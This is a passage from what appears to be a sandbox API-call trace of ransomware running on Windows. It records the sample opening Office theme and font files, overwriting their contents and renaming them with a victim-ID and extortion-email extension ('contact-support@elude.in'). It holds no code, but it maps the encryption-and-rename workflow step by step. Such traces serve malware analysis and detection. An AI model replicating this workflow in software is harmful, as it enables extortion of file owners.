hTemplateFile=0x0) returned 0x4e0 [0246.500] GetProcessHeap () returned 0x630000 [0246.500] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7039d40 [0246.500] GetProcessHeap () returned 0x630000 [0246.500] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7045170 [0246.500] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.500] ReadFile (in: hFile=0x4e0, lpBuffer=0x7039d40, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x7039d40*, lpNumberOfBytesRead=0x4abff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.724] GetProcessHeap () returned 0x630000 [0253.724] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0253.724] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.724] WriteFile (in: hFile=0x4e0, lpBuffer=0x7045170*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x7045170*, lpNumberOfBytesWritten=0x4abff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.724] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.724] WriteFile (in: hFile=0x4e0, lpBuffer=0x705056f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x705056f*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0253.726] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.726] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0253.726] CloseHandle (hObject=0x4e0) returned 1 [0253.726] GetProcessHeap () returned 0x630000 [0253.726] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7045170 | out: hHeap=0x630000) returned 1 [0253.726] GetProcessHeap () returned 0x630000 [0253.726] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7039d40 | out: hHeap=0x630000) returned 1 [0253.729] GetProcessHeap () returned 0x630000 [0253.729] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0254.415] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.415] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x531047b, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x531047b, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5d2ef6b3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa2641, dwReserved0=0xb847496, dwReserved1=0x7039d38, cFileName="CHINESET.SHX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CHINES~1.FIR")) returned 0x6d4f40 [0254.415] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0254.415] Sleep (dwMilliseconds=0x1) [0254.450] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml", len=0x73 | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml") returned 1 [0254.451] GetProcessHeap () returned 0x630000 [0254.451] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e00) returned 0x6fe3bb0 [0254.451] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.157] Sleep (dwMilliseconds=0x1) [0261.125] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\DEEPBLUE.INF", len=0x70 | out: pbstr=0x4abff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\DEEPBLUE.INF") returned 1 [0261.125] GetProcessHeap () returned 0x630000 [0261.125] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c8c) returned 0x6fe3bb0 [0261.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\deepblue\\deepblue.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0261.225] CloseHandle (hObject=0x648) returned 1 [0261.226] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0261.226] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\deepblue\\deepblue.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\DEEPBLUE.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\deepblue\\deepblue.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0261.321] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.321] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\DEEPBLUE.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="DEEPBLUE.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DEEPBL~1.FIR")) returned 0x6d4ec0 [0261.372] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0261.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\DEEPBLUE.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\deepblue\\deepblue.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0261.376] GetProcessHeap () returned 0x630000 [0261.376] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x666d90 [0261.376] GetProcessHeap () returned 0x630000 [0261.376] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x6668c0 [0261.376] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.376] ReadFile (in: hFile=0x678, lpBuffer=0x666d90, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x666d90*, lpNumberOfBytesRead=0x4abff0c*=0x220, lpOverlapped=0x0) returned 1 [0261.382] GetProcessHeap () returned 0x630000 [0261.382] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318788 [0261.382] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.382] WriteFile (in: hFile=0x678, lpBuffer=0x6668c0*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6668c0*, lpNumberOfBytesWritten=0x4abff0c*=0x220, lpOverlapped=0x0) returned 1 [0261.382] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.382] WriteFile (in: hFile=0x678, lpBuffer=0x666adf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x666adf*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0261.382] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.383] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0261.383] CloseHandle (hObject=0x678) returned 1 [0261.383] GetProcessHeap () returned 0x630000 [0261.383] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6668c0 | out: hHeap=0x630000) returned 1 [0261.383] GetProcessHeap () returned 0x630000 [0261.383] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x666d90 | out: hHeap=0x630000) returned 1 [0261.383] GetProcessHeap () returned 0x630000 [0261.383] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318788 | out: hHeap=0x630000) returned 1 [0261.383] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.383] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\DEEPBLUE.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61be02d9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x25d, dwReserved0=0x4abfd20, dwReserved1=0x666d90, cFileName="DEEPBLUE.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DEEPBL~1.FIR")) returned 0x6d53c0 [0261.383] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0261.383] Sleep (dwMilliseconds=0x1) [0261.400] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Weather.exe", len=0x69 | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Weather.exe") returned 1 [0261.400] GetProcessHeap () returned 0x630000 [0261.400] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e78) returned 0x6fe3bb0 [0261.400] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Weather.exe" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.msn.weather.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.416] Sleep (dwMilliseconds=0x1) [0261.448] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\weatherdotcom.png", len=0x74 | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\weatherdotcom.png") returned 1 [0261.448] GetProcessHeap () returned 0x630000 [0261.448] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e60) returned 0x6fe3bb0 [0261.448] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\weatherdotcom.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\attribution\\weatherdotcom.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.449] Sleep (dwMilliseconds=0x1) [0261.503] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_LogoSmall.targetsize-16_altform-unplated.png", len=0x94 | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_LogoSmall.targetsize-16_altform-unplated.png") returned 1 [0261.503] GetProcessHeap () returned 0x630000 [0261.503] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e3c) returned 0x6fe3bb0 [0261.503] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_LogoSmall.targetsize-16_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weather_logosmall.targetsize-16_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.503] Sleep (dwMilliseconds=0x1) [0261.606] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_BadgeLogo.scale-200.png", len=0x7f | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_BadgeLogo.scale-200.png") returned 1 [0261.606] GetProcessHeap () returned 0x630000 [0261.606] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e34) returned 0x6fe3bb0 [0261.607] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_BadgeLogo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weather_badgelogo.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.607] Sleep (dwMilliseconds=0x1) [0261.659] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\6.jpg", len=0x7b | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\6.jpg") returned 1 [0261.659] GetProcessHeap () returned 0x630000 [0261.659] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e18) returned 0x6fe3bb0 [0261.659] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\6.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\6.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.661] Sleep (dwMilliseconds=0x1) [0261.670] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\40.jpg", len=0x7c | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\40.jpg") returned 1 [0261.670] GetProcessHeap () returned 0x630000 [0261.670] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e0c) returned 0x6fe3bb0 [0261.670] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\40.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\40.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.672] Sleep (dwMilliseconds=0x1) [0261.719] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\30.jpg", len=0x7c | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\30.jpg") returned 1 [0261.719] GetProcessHeap () returned 0x630000 [0261.719] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4df4) returned 0x6fe3bb0 [0261.719] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\30.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\30.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.721] Sleep (dwMilliseconds=0x1) [0261.735] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\2.jpg", len=0x7b | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\2.jpg") returned 1 [0261.735] GetProcessHeap () returned 0x630000 [0261.735] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4de0) returned 0x6fe3bb0 [0261.736] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\2.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\2.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.751] Sleep (dwMilliseconds=0x1) [0261.801] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\39.jpg", len=0x7c | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\39.jpg") returned 1 [0261.801] GetProcessHeap () returned 0x630000 [0261.801] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dbc) returned 0x6fe3bb0 [0261.801] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\39.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\39.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.802] Sleep (dwMilliseconds=0x1) [0263.224] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\196.png", len=0x7a | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\196.png") returned 1 [0263.224] GetProcessHeap () returned 0x630000 [0263.224] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d0c) returned 0x6fe3bb0 [0263.224] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\196.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\196.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.226] Sleep (dwMilliseconds=0x1) [0264.526] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\PREVIEW.GIF", len=0x6d | out: pbstr=0x4abff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\PREVIEW.GIF") returned 1 [0264.526] GetProcessHeap () returned 0x630000 [0264.526] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c40) returned 0x6fe3bb0 [0264.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0265.400] CloseHandle (hObject=0x6c8) returned 1 [0265.400] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0265.400] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\canyon\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\canyon\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.570] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.570] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x63005b, dwReserved1=0x6e006f, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", 